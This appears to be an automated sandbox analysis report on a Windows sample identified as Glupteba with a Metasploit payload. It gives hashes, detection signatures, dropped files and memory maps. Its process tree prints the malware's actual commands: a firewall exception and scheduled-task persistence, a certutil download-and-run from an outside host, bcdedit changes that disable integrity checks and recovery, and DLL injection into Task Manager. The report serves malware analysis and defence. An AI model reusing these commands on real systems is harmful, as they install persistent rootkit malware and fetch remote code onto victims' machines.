Analysis

  • max time kernel
    1s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240220-en
  • resource tags

    arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
  • submitted
    17-04-2024 19:14

General

  • Target

    f67ac68040dcf6a7c499bbc0d149397d_JaffaCakes118.exe

  • Size

    4.4MB

  • MD5

    f67ac68040dcf6a7c499bbc0d149397d

  • SHA1

    4e61f7ca82126d8aab52a1881965d1ed38f93769

  • SHA256

    7b8a8c6b1b0bf9d637c94f73d189f81398837eaa1d9cd431eeff6e7a398a32b4

  • SHA512

    4398c085593c7756257dd3eaf859b5e16a393280d2bd2601902c3e44453ad77748a32c95ee9c5ceaf998ebb4b23ab3a9d235351865d2ffe33387657102b61719

  • SSDEEP

    98304:/MnpKSZysIUJDO7lTEWp+E/zFCDzq4RMZXNxstXfuBGtbGERHpc8tac:kgOyxotW8MzFCyNef/EERHp3tac

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 22 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Modifies boot configuration data using bcdedit 1 TTPs 14 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Possible attempt to disable PatchGuard 2 TTPs

    Rootkits can use kernel patching to embed themselves in an operating system.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • GoLang User-Agent 3 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

Processes

  • C:\Users\Admin\AppData\Local\Temp\f67ac68040dcf6a7c499bbc0d149397d_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\f67ac68040dcf6a7c499bbc0d149397d_JaffaCakes118.exe"
    1⤵
      PID:2204
      • C:\Users\Admin\AppData\Local\Temp\f67ac68040dcf6a7c499bbc0d149397d_JaffaCakes118.exe
        "C:\Users\Admin\AppData\Local\Temp\f67ac68040dcf6a7c499bbc0d149397d_JaffaCakes118.exe"
        2⤵
          PID:2628
          • C:\Windows\system32\cmd.exe
            C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
            3⤵
              PID:3040
              • C:\Windows\system32\netsh.exe
                netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                4⤵
                • Modifies Windows Firewall
                PID:2156
            • C:\Windows\rss\csrss.exe
              C:\Windows\rss\csrss.exe /94-94
              3⤵
                PID:1564
                • C:\Windows\system32\schtasks.exe
                  schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                  4⤵
                  • Creates scheduled task(s)
                  PID:1256
                • C:\Windows\system32\schtasks.exe
                  schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://spolaect.info/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
                  4⤵
                  • Creates scheduled task(s)
                  PID:1612
                • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
                  "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
                  4⤵
                    PID:2476
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:2212
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:564
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:3036
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:2896
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:2216
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:1444
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:2136
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:2244
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:1528
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:1644
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:880
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -timeout 0
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:2684
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
                      5⤵
                      • Modifies boot configuration data using bcdedit
                      PID:2448
                  • C:\Windows\system32\bcdedit.exe
                    C:\Windows\Sysnative\bcdedit.exe /v
                    4⤵
                    • Modifies boot configuration data using bcdedit
                    PID:1992
                  • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
                    C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
                    4⤵
                      PID:2144
                    • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                      C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
                      4⤵
                        PID:1968
                • C:\Windows\system32\makecab.exe
                  "C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240417191433.log C:\Windows\Logs\CBS\CbsPersist_20240417191433.cab
                  1⤵
                    PID:1048

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

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                  Downloads

                  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

                    Filesize

                    68KB

                    MD5

                    29f65ba8e88c063813cc50a4ea544e93

                    SHA1

                    05a7040d5c127e68c25d81cc51271ffb8bef3568

                    SHA256

                    1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

                    SHA512

                    e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

                  • C:\Users\Admin\AppData\Local\Temp\Cab4AD8.tmp

                    Filesize

                    65KB

                    MD5

                    ac05d27423a85adc1622c714f2cb6184

                    SHA1

                    b0fe2b1abddb97837ea0195be70ab2ff14d43198

                    SHA256

                    c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

                    SHA512

                    6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

                  • C:\Users\Admin\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\AAF33CF37E194E98957768CF9C02DE8E2\download.error

                    Filesize

                    8.3MB

                    MD5

                    fd2727132edd0b59fa33733daa11d9ef

                    SHA1

                    63e36198d90c4c2b9b09dd6786b82aba5f03d29a

                    SHA256

                    3a72dbedc490773f90e241c8b3b839383a63ce36426a4f330a0f754b14b4d23e

                    SHA512

                    3e251be7d0e8db92d50092a4c4be3c74f42f3d564c72981f43a8e0fe06427513bfa0f67821a61a503a4f85741f0b150280389f8f4b4f01cdfd98edce5af29e6e

                  • C:\Users\Admin\AppData\Local\Temp\Symbols\winload_prod.pdb\768283CA443847FB8822F9DB1F36ECC51\download.error

                    Filesize

                    492KB

                    MD5

                    fafbf2197151d5ce947872a4b0bcbe16

                    SHA1

                    a86eaa2dd9fc6d36fcfb41df7ead8d1166aea020

                    SHA256

                    feb122b7916a1e62a7a6ae8d25ea48a2efc86f6e6384f5526e18ffbfc5f5ff71

                    SHA512

                    acbd49a111704d001a4ae44d1a071d566452f92311c5c0099d57548eddc9b3393224792c602022df5c3dd19b0a1fb4eff965bf038c8783ae109336699f9d13f6

                  • C:\Users\Admin\AppData\Local\Temp\Tar4D20.tmp

                    Filesize

                    177KB

                    MD5

                    435a9ac180383f9fa094131b173a2f7b

                    SHA1

                    76944ea657a9db94f9a4bef38f88c46ed4166983

                    SHA256

                    67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

                    SHA512

                    1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

                  • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe

                    Filesize

                    94KB

                    MD5

                    d98e78fd57db58a11f880b45bb659767

                    SHA1

                    ab70c0d3bd9103c07632eeecee9f51d198ed0e76

                    SHA256

                    414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

                    SHA512

                    aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

                  • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe

                    Filesize

                    281KB

                    MD5

                    d98e33b66343e7c96158444127a117f6

                    SHA1

                    bb716c5509a2bf345c6c1152f6e3e1452d39d50d

                    SHA256

                    5de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1

                    SHA512

                    705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5

                  • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

                    Filesize

                    1.7MB

                    MD5

                    13aaafe14eb60d6a718230e82c671d57

                    SHA1

                    e039dd924d12f264521b8e689426fb7ca95a0a7b

                    SHA256

                    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

                    SHA512

                    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

                  • C:\Users\Admin\AppData\Local\Temp\osloader.exe

                    Filesize

                    591KB

                    MD5

                    e2f68dc7fbd6e0bf031ca3809a739346

                    SHA1

                    9c35494898e65c8a62887f28e04c0359ab6f63f5

                    SHA256

                    b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

                    SHA512

                    26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

                  • C:\Windows\rss\csrss.exe

                    Filesize

                    4.4MB

                    MD5

                    f67ac68040dcf6a7c499bbc0d149397d

                    SHA1

                    4e61f7ca82126d8aab52a1881965d1ed38f93769

                    SHA256

                    7b8a8c6b1b0bf9d637c94f73d189f81398837eaa1d9cd431eeff6e7a398a32b4

                    SHA512

                    4398c085593c7756257dd3eaf859b5e16a393280d2bd2601902c3e44453ad77748a32c95ee9c5ceaf998ebb4b23ab3a9d235351865d2ffe33387657102b61719

                  • \Users\Admin\AppData\Local\Temp\dbghelp.dll

                    Filesize

                    1.5MB

                    MD5

                    f0616fa8bc54ece07e3107057f74e4db

                    SHA1

                    b33995c4f9a004b7d806c4bb36040ee844781fca

                    SHA256

                    6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

                    SHA512

                    15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

                  • \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

                    Filesize

                    5.3MB

                    MD5

                    1afff8d5352aecef2ecd47ffa02d7f7d

                    SHA1

                    8b115b84efdb3a1b87f750d35822b2609e665bef

                    SHA256

                    c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

                    SHA512

                    e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

                  • \Users\Admin\AppData\Local\Temp\symsrv.dll

                    Filesize

                    163KB

                    MD5

                    5c399d34d8dc01741269ff1f1aca7554

                    SHA1

                    e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

                    SHA256

                    e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

                    SHA512

                    8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

                  • memory/1564-115-0x0000000004A50000-0x0000000004E8C000-memory.dmp

                    Filesize

                    4.2MB

                  • memory/1564-154-0x0000000000400000-0x000000000309C000-memory.dmp

                    Filesize

                    44.6MB

                  • memory/1564-33-0x0000000004A50000-0x0000000004E8C000-memory.dmp

                    Filesize

                    4.2MB

                  • memory/1564-116-0x0000000000400000-0x000000000309C000-memory.dmp

                    Filesize

                    44.6MB

                  • memory/1564-160-0x0000000000400000-0x000000000309C000-memory.dmp

                    Filesize

                    44.6MB

                  • memory/1564-159-0x0000000000400000-0x000000000309C000-memory.dmp

                    Filesize

                    44.6MB

                  • memory/1564-31-0x0000000004A50000-0x0000000004E8C000-memory.dmp

                    Filesize

                    4.2MB

                  • memory/1564-117-0x0000000000400000-0x000000000309C000-memory.dmp

                    Filesize

                    44.6MB

                  • memory/1564-152-0x0000000000400000-0x000000000309C000-memory.dmp

                    Filesize

                    44.6MB

                  • memory/1564-158-0x0000000000400000-0x000000000309C000-memory.dmp

                    Filesize

                    44.6MB

                  • memory/1564-157-0x0000000000400000-0x000000000309C000-memory.dmp

                    Filesize

                    44.6MB

                  • memory/1564-146-0x0000000000400000-0x000000000309C000-memory.dmp

                    Filesize

                    44.6MB

                  • memory/1564-153-0x0000000000400000-0x000000000309C000-memory.dmp

                    Filesize

                    44.6MB

                  • memory/1564-110-0x0000000000400000-0x000000000309C000-memory.dmp

                    Filesize

                    44.6MB

                  • memory/1564-114-0x0000000000400000-0x000000000309C000-memory.dmp

                    Filesize

                    44.6MB

                  • memory/1564-156-0x0000000000400000-0x000000000309C000-memory.dmp

                    Filesize

                    44.6MB

                  • memory/1564-35-0x0000000000400000-0x000000000309C000-memory.dmp

                    Filesize

                    44.6MB

                  • memory/1564-155-0x0000000000400000-0x000000000309C000-memory.dmp

                    Filesize

                    44.6MB

                  • memory/2204-4-0x0000000000400000-0x000000000309C000-memory.dmp

                    Filesize

                    44.6MB

                  • memory/2204-6-0x0000000004AA0000-0x0000000004EDC000-memory.dmp

                    Filesize

                    4.2MB

                  • memory/2204-3-0x0000000000400000-0x000000000309C000-memory.dmp

                    Filesize

                    44.6MB

                  • memory/2204-2-0x0000000004EE0000-0x0000000005806000-memory.dmp

                    Filesize

                    9.1MB

                  • memory/2204-7-0x0000000004EE0000-0x0000000005806000-memory.dmp

                    Filesize

                    9.1MB

                  • memory/2204-1-0x0000000004AA0000-0x0000000004EDC000-memory.dmp

                    Filesize

                    4.2MB

                  • memory/2204-0-0x0000000004AA0000-0x0000000004EDC000-memory.dmp

                    Filesize

                    4.2MB

                  • memory/2476-55-0x0000000140000000-0x00000001405E8000-memory.dmp

                    Filesize

                    5.9MB

                  • memory/2476-47-0x0000000140000000-0x00000001405E8000-memory.dmp

                    Filesize

                    5.9MB

                  • memory/2628-5-0x0000000004AC0000-0x0000000004EFC000-memory.dmp

                    Filesize

                    4.2MB

                  • memory/2628-21-0x0000000000400000-0x000000000309C000-memory.dmp

                    Filesize

                    44.6MB

                  • memory/2628-19-0x0000000004AC0000-0x0000000004EFC000-memory.dmp

                    Filesize

                    4.2MB

                  • memory/2628-32-0x0000000004AC0000-0x0000000004EFC000-memory.dmp

                    Filesize

                    4.2MB

                  • memory/2628-29-0x0000000000400000-0x000000000309C000-memory.dmp

                    Filesize

                    44.6MB

                  • memory/2628-20-0x0000000004F00000-0x0000000005826000-memory.dmp

                    Filesize

                    9.1MB